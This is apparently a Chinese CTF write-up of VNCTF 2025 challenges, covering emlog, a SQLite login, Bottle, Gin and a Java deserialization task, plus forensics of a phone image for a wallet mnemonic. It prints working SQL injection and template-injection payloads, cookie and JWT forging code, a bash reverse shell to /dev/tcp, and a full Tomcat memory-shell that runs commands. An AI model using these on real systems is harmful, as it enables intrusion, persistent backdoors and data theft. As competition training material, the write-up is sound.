WEB ez_emlog
猴子大王在1月23日开始学习Web安全并搭建了一个博客,你能找到他博客的漏洞吗。
一条人一只烟 一道web干一天
也是给我挖上0day了
拉源码做审计
跟一下,使用mt_rand生成随机数
由于这两个都调用了getRandStr函数,分别查看调用
account.php的logout接口设置了cookie,可以访问看一下
果然返回了,那么就可以逆序getRandStr进行解密后补零进行seed爆破
mt_rand()函数的特性-MT19937
MT19937有624个内部状态
每个状态是32位整数
需要624个连续的输出才能完全确定内部状态
我们需要补32组0 0 0 0提供足够的状态信息
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ;$chars_length = strlen ($chars ) - 1 ;$p = 'RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr' ;for ($i = 0 ; $i < 128 ; $i ++) { echo "0 " ; } for ($i = 0 ; $i < strlen ($p ); $i ++) { $number = strpos ($chars , $p [$i ]); echo "$number $number 0 $chars_length " ; }
得到seed
拿到种子第一件事就是伪造cookie
但是在loginauth.php中发现与用户名有关联
于是想到sql注入,将username部分进行报错注入(exp下面有
1 2 3 4 5 6 7 8 9 10 GET /admin/../ HTTP/1.1 Host: node.vnteam.cn:48595 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0 Cookie: EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=1' and updatexml(1,concat(0x7e,(select(database())),0x7e),1) #|0|a916cc182f4f3d080acb6a0b356da6a7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node.vnteam.cn:48595/admin/account.php?action=logout Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close
中间靶机到期了
到这里停了,看到user表,可以停住进去查看一下
1 1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='emlog_user'),0x7e))#
然后就可以查看username
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $seed = 2430606281 ;mt_srand ($seed );$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()" ;$retStr = '' ;for ($i = 0 ; $i < 32 ; $i ++) { $retStr .= substr ($chars , mt_rand (0 , strlen ($chars ) - 1 ), 1 ); } $ua = md5 ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" );$authkey = $retStr . $ua ;$username = "1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),20,32) from emlog.emlog_user),0x7e),1) #" ;$expiration = 0 ;$data = $username . '|' . $expiration ;$key = hash_hmac ('md5' , $data , $authkey );$hash = hash_hmac ('md5' , $username . '|' . $expiration , $key );echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash ;
得到username(一共33位,substr截断即可
1 1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm
伪造admin身份进后台
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $seed = 2430606281 ;mt_srand ($seed );$rand_string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()" ;$retStr = '' ;for ($i = 0 ; $i < 32 ; $i ++) { $retStr .= substr ($rand_string , mt_rand (0 , strlen ($rand_string ) - 1 ), 1 ); } $ua = md5 ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36" );$authkey = $retStr . $ua ;$username = "1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm" ;$expiration = 0 ;$data = $username . '|' . $expiration ;$key = hash_hmac ('md5' , $data , $authkey );$hash = hash_hmac ('md5' , $username . '|' . $expiration , $key );echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash ;
然后就简单了,对着开发文档上传木马即可
emblog后台拿shell-CSDN博客
创建对应目录结构然后打包上传
奶龙回家
小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次
时间盲注 过滤了sleep使用randomblob延时
过滤= 使用>和二分法进行注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport timeurl = 'http://node.vnteam.cn:44425/login' flag = '' for i in range (1 , 500 ): low = 32 high = 128 mid = (low + high) // 2 while low < high: time.sleep(0.2 ) payload = "-1' or (case when(substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}') then randomblob(300000000) else 0 end)/*" .format (i, chr (mid)) payload = payload.replace(' ' , '/**/' ) payload = payload.format (i, chr (mid)) datas = { "username" : "123" , "password" : payload } start_time = time.time() res = requests.post(url=url, json=datas) end_time = time.time() spend_time = end_time - start_time if spend_time >= 0.19 : low = mid + 1 else : high = mid mid = (low + high) // 2 if mid == 32 or mid == 127 : break flag = flag + chr (mid) print (flag) print (flag)print ('\n' + bytes .fromhex(flag).decode('utf-8' ))
学生姓名登记系统
Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?
python的单文件框架有Flask Bottle Falcon Sanic Tornado FastAPI等等
经分析是一个bottle框
bottle框架可以任意执行单行python代码
另外 字符串有长度限制 已知bottle上下文具有关联功能
直接
1 2 3 4 """ %a=__builtins__ """ {{a}}
查看函数发现open
直接open会hacker,单引号绕过
1 2 3 4 5 6 """ %a=__builtins__ %b='op''en' """ {{a[b]}}
拼接最终payload
1 2 3 4 5 6 """ %a=__builtins__ %b='op''en' %c='/flag' """ {{a[b](c).read()}}
官方wp
1 2 3 4 {{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subc lasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__global s__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0 a{{x:=i("/flag")}}%0a{{y:=x.read()}}
思路大同小异
比如输入{{print(5)}}
,实际上5已经输入到控制台了 拼接{{a:=5}}%0a{{print(a)}}
发现能读上下文,同理得到flag
Gin
go是世界上最好的语言
查看routes.go可以大致看出
普通用户注册后有个上传功能,admin有个eval路由,应该可以执行代码
并且发现有一个jwt,可以注册个用户看看先
注册一个用户后登录
jwt解密
然后可以看一下jwt相关逻辑
将年份作为种子,生成0-999拼接上config.Key()
不过题目源码没给key
上传任意文件,发现提供了预览和下载两种模式
download发现任意文件下载
直接读../config/key.go
1 2 3 4 5 6 7 8 9 package configfunc Key () string { return "r00t32l" } func Year () int64 { return 2025 }
抠出来得key
1 2 3 4 5 6 7 8 9 10 11 12 package mainimport ( "fmt" "math/rand" ) func main () { rand.Seed(2025 ) randomNumber := rand.Intn(1000 ) key := fmt.Sprintf("%03d%s" , randomNumber, "r00t32l" ) fmt.Println(key) }
得到key
重新加密
得到
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNzIjoiTWFzaDFyMCIsInN1YiI6InVzZXIgdG9rZW4iLCJleHAiOjE3MzkzNDQ5MjIsImlhdCI6MTczOTI1ODUyMn0.B9r2Fa74H1ENzpZbtpIehx7um0kKI1lSMix4g-RsqxY
然后就可以看看有什么库可以命令执行的
整个反弹shell代码
1 2 3 4 5 6 7 8 9 10 11 12 package mainimport ( "fmt" "github.com/PaulXu-cn/goeval" ) func main () { cmd, _ := goeval.Eval("" , "cmd:=exec.Command(\"bash\",\"-c\",\"exec bash -i >& /dev/tcp/ip/7777 0>&1\");out,_:=cmd.CombinedOutput();fmt.Println(string(out))" , "os/exec" , "fmt" ) fmt.Println(string (cmd)) }
根目录上是假flag
查看suid时发现又哥Cat很可疑 执行后回显/flag得内容 猜测执行的是cat /flag
劫持cat即可获得root权限
查看不再使用cat
javaGuide
java反序列化第一步(题目环境不出网)
不会java web 留个档
2025/2/25来擦屁股了
com.example.javaguide.controller.IndexController
中发现反序列化路由
com.example.javaguide.MyObjectInputStream
继承了ObjectInputStream
重写了resolveClass
添加了安全限制
可以考虑二次反序列化绕过
原理为resolveClass
只在第一次反序列化时被调用
第一次反序列化链子 第一次反序列化的链子的目的是找到第二次反序列化的入口
fastjson反序列化有一条链子就是通过
1 BadAttributeValueExpException::readObject()->JSONObject::toString()
把val赋值为jsonArray的对象,那么就也可以调用JSON类的toString方法在Json这里就会触发fastjson的漏洞,触发get方法。
第二次反序列化链子 接下来我们就是要找到一个类,并且满足:
有get
方法
get
方法里面能够直接或间接调用readObject()
而这个类就是⽤SignedObject::getObject()
、
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package com.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.security.SignedObject;import java.util.Base64;import com.Memshell.tomcat.BehinderFilterShell2;import static com.Utils.Util.*;public class test { public static void main (String[] args) throws Exception { byte [] bytes = ClassPool.getDefault().get(BehinderFilterShell2.class.getName()).toBytecode(); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); Object template = getPOJONodeStableProxy(templates); Object fastjsonEventListenerList1 = getFastjsonEventListenerList(template); SignedObject signedObject = second_serialize(fastjsonEventListenerList1); Object fastjsonEventListenerList2 = getFastjsonEventListenerList(signedObject); String b64_payload = serialize(fastjsonEventListenerList2); System.out.println(b64_payload); } }
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 package com.Memshell.tomcat;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.catalina.webresources.StandardRoot;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.reflect.ReflectionFactory;import javax.servlet.*;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Scanner;public class BehinderFilterShell2 extends AbstractTranslet implements Filter { public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static Object getFieldValue (Object obj,String fieldname) throws Exception{ Field field = getField(obj.getClass(), fieldname); Object o = field.get(obj); return o; } public BehinderFilterShell2 () throws Exception { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardRoot resources = (StandardRoot) getFieldValue(webappClassLoaderBase, "resources" ); StandardContext context = (StandardContext) resources.getContext(); String filterName = "fffff" ; FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*" ); FilterDef filterDef = new FilterDef (); filterDef.setFilterName(filterName); filterDef.setFilter(this ); ApplicationFilterConfig applicationFilterConfig = createWithConstructor( ApplicationFilterConfig.class, ApplicationFilterConfig.class, new Class []{Context.class, FilterDef.class}, new Object []{context, filterDef} ); HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig> )getFieldValue(context, "filterConfigs" ); filterConfigs.put(filterName,applicationFilterConfig); context.addFilterDef(filterDef); context.addFilterMap(filterMap); } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { try { String arg0 = request.getParameter("cmd" ); if (arg0 != null ) { PrintWriter writer = response.getWriter(); String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { p = new ProcessBuilder (new String []{"cmd.exe" , "/c" , arg0}); } else { p = new ProcessBuilder (new String []{"/bin/sh" , "-c" , arg0}); } Scanner c = (new Scanner (p.start().getInputStream())).useDelimiter("\\A" ); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { chain.doFilter(request,response); } } catch (Exception var8) { } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void destroy () { } }
MISC VN_Lang
我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?
010一看就有
Echo Flowers
英语不好 的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入 了首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的 OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?
本题附件下载地址:百度网盘 或 Google Drive
114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的 。
附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。
你应该从手机镜像中取证找回数字钱包。
附件中gift文件夹的内容不是解题所必需的。
FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .
美亚杯后遗症。。
手机钱包通过助记词导入,不难想到输入法
echo_flowers-disk1.vmdk/分区2/android-7.1-r5/data/data/com.sohu.inputmethod.sogouoem/files/dict
导出后strings大法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ cd dict ❯ strings --encoding=b * ranch only space define laundry carpet muscle ramp high twenty couch fashion
bip39网站解密即可
REVERSE Hook Fish
钓到的鱼怎么跑了?
frida脚本发现是一串密文比较
主程序发现动态加载了hookfish.dex
下载后对应解密即可